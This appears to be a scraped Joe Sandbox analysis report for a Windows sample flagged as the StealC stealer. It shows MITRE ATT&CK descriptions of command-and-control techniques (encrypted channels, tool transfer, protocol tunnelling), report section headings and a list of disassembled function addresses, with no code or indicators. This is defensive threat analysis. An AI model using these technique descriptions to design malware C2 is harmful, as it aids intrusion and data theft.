Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00FB9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00FA45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00FA4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00FB9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00FA6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00FB5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00FB17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00FB7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00FB69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00FB6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00FA47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00FB51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00FA1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON